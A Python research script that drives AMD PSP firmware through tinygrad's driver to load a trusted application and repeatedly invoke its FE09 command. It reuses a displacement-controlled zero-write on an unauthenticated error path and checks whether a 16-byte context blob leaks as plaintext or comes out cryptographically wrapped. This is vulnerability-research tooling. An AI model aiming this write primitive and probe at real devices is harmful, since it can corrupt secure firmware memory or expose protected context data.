#!/usr/bin/env python3
"""Is GCP's FE09 output blob at params+0x1950 a plaintext ctx dump or a crypto wrap?

Every FE09 invoke -- including the unauthenticated error-560 path we can reach -- runs
    sub_403678(ctx_slot+792, params+0x1950, *(params+0x818))
      -> loc_402524(dst=params+0x1960, dstlen=host_len-16, src=ctx_slot+796, srclen=16)
and loc_402524 issues SVC 0xF2 with crypto-shaped arguments. Static analysis says "probably
wrapped", which is inference, not measurement. This measures it.

Costs no power cycle: a store that LANDS does not wedge the ring, so we aim the 4-byte zero
window inside the buffer and can invoke repeatedly in one boot.

Discriminators, in order of strength:
  1. Repeat the SAME request N times. Output bytes that CHANGE across identical inputs mean a
     fresh IV/nonce/counter => cryptographic wrap, and no plaintext conclusion is possible.
     Output identical across runs means deterministic -- consistent with either a plaintext
     dump or a deterministic wrap, so it does not settle it alone.
  2. Byte-value profile. 16 bytes of ctx state (handles, small ints, flags) should contain
     zeros and small values; a wrap/MAC should look uniform. Reported as a histogram summary
     rather than a verdict.
  3. Does the blob move when ctx state moves? Vary the request field the handler stores into
     ctx (+0x82C/+0x830 feed ctx+832/+840 on the success path only, so on OUR 560 path they
     should NOT change the blob). A blob that tracks a host field would indicate plaintext
     passthrough of request data rather than ctx state.

The pattern fill matters: the buffer is pre-filled with 0xA5 so TA-written bytes are
distinguishable from untouched ones -- otherwise "zeros" is ambiguous between "TA wrote 0" and
"nothing written".
"""
import struct, sys, glob, collections
sys.path.insert(0, '/root/psp/hw')
from tinygrad import Device
import tinygrad.runtime.autogen.am.am as am
adev = Device["AMD"].iface.dev_impl
psp = adev.psp

PARAMS_VA = 0x04013000
BASE = PARAMS_VA + 0x418
TA = 'ta_22-0-4-50_81b082b4'
BUFLEN = 0x8000
PAT = 0xA5
OUT_LO, OUT_HI = 0x1940, 0x19C0          # around params+0x1950 / +0x1960
SAFE_TARGET = PARAMS_VA + 0x200          # the zero-store lands here (inert, inside buffer)

def c2p(n): return getattr(adev, 'mmMP0_SMN_C2PMSG_%d' % n).read() & 0xFFFFFFFF
def frame(): return tuple(c2p(n) for n in range(82, 89))

def alloc(n):
    pa = adev.mm.palloc(n, align=0x1000, zero=True, boot=False)
    return pa, adev.paddr2mc(pa)

app_pa, app_mc = alloc(0x80000)
cand = glob.glob('/root/psp/contall/%s*' % TA)
if not cand:
    raise SystemExit('missing TA %s' % TA)
blob = open(cand[0], 'rb').read()
cp, cmc = alloc(BUFLEN)

def load():
    n = (len(blob) + 3) & ~3
    adev.vram.view(app_pa, n)[:] = blob + b'\x00' * (n - len(blob)); adev.gmc.flush_hdp()
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t = c.cmd.cmd_load_ta
    t.app_phy_addr_lo, t.app_phy_addr_hi = app_mc & 0xFFFFFFFF, app_mc >> 32
    t.app_len = len(blob)
    t.cmd_buf_phy_addr_lo, t.cmd_buf_phy_addr_hi = cmc & 0xFFFFFFFF, cmc >> 32
    t.cmd_buf_len = BUFLEN
    try:
        r = psp._ring_submit(c); return r.resp.status & 0xFFFFFFFF, r.resp.session_id
    except Exception:
        return -1, None

def fe09(sid, disp, f82c=0, f830=0):
    buf = bytearray(bytes([PAT]) * BUFLEN)
    struct.pack_into('<I', buf, 0x000, 0xFE09)
    struct.pack_into('<I', buf, 0x010, 0)
    for off in (0x414, 0x818):
        struct.pack_into('<I', buf, off, 0xFFFFFFFB)
    struct.pack_into('<I', buf, 0x820, 1)
    struct.pack_into('<I', buf, 0x828, disp & 0xFFFFFFFF)
    struct.pack_into('<I', buf, 0x82C, f82c & 0xFFFFFFFF)
    struct.pack_into('<I', buf, 0x830, f830 & 0xFFFFFFFF)
    adev.vram.view(cp, BUFLEN)[:] = bytes(buf); adev.gmc.flush_hdp()
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
    iv = c.cmd.cmd_invoke_cmd; iv.session_id, iv.ta_cmd_id = sid, 0xFE09
    try:
        st = psp._ring_submit(c).resp.status & 0xFFFFFFFF
    except Exception:
        st = -1
    adev.gmc.flush_hdp()
    out = bytes(adev.vram.view(cp, BUFLEN)[:])
    return st, out

f0 = frame()
st, sid = load()
print('TA=%s load=%#x sid=%s BUFLEN=%#x' % (TA, st, sid, BUFLEN), flush=True)
if sid is None:
    raise SystemExit('load failed')

D = (SAFE_TARGET - BASE) & 0xFFFFFFFF
runs = []
for i in range(3):
    st2, out = fe09(sid, D)
    if st2 == -1 or frame() != f0:
        print('invoke %d FAULTED (fr=%s) -- abort' % (i, [hex(x) for x in frame()]), flush=True)
        raise SystemExit(1)
    runs.append(out)
    seg = out[OUT_LO:OUT_HI]
    print('\ninvoke %d status=%#x  params[0x1940:0x19C0]:' % (i, st2), flush=True)
    for o in range(0, OUT_HI - OUT_LO, 16):
        print('   +%#06x  %s' % (OUT_LO + o, seg[o:o+16].hex(' ')), flush=True)

a, b2, c3 = runs
print('\n=== discriminator 1: do identical requests give identical output? ===', flush=True)
same12 = a[OUT_LO:OUT_HI] == b2[OUT_LO:OUT_HI]
same13 = a[OUT_LO:OUT_HI] == c3[OUT_LO:OUT_HI]
print('   run0==run1: %s   run0==run2: %s' % (same12, same13), flush=True)
if not (same12 and same13):
    diff = [OUT_LO + i for i in range(OUT_HI - OUT_LO) if a[OUT_LO+i] != b2[OUT_LO+i]]
    print('   VARIES at offsets %s -> fresh nonce/IV => CRYPTO WRAP; no plaintext read'
          % [hex(x) for x in diff[:16]], flush=True)
else:
    print('   deterministic across identical inputs (consistent with EITHER plaintext or a'
          ' deterministic wrap -- not decisive alone)', flush=True)

print('\n=== discriminator 2: byte profile of the 16-byte blob at +0x1960 ===', flush=True)
bl = a[0x1960:0x1970]
print('   bytes: %s' % bl.hex(' '), flush=True)
print('   untouched(0xA5)=%d zeros=%d distinct=%d'
      % (bl.count(PAT), bl.count(0), len(set(bl))), flush=True)
nz = [x for x in bl if x not in (PAT,)]
print('   mean=%.1f (uniform random ~127.5; small ctx ints skew low)'
      % (sum(nz) / max(len(nz), 1)), flush=True)

print('\n=== discriminator 3: does the blob track host request fields? ===', flush=True)
st3, out3 = fe09(sid, D, f82c=0x41424344, f830=0x55667788)
if st3 == -1 or frame() != f0:
    print('   varied-field invoke faulted -- skip', flush=True)
else:
    changed = a[OUT_LO:OUT_HI] != out3[OUT_LO:OUT_HI]
    print('   status=%#x  blob changed when +0x82C/+0x830 changed: %s' % (st3, changed), flush=True)
    if changed:
        print('   -> output depends on host request words (passthrough, not pure ctx state)', flush=True)
        print('      %s' % out3[0x1960:0x1970].hex(' '), flush=True)
print('\nring: %s' % ('WEDGED' if frame() != f0 else 'alive'), flush=True)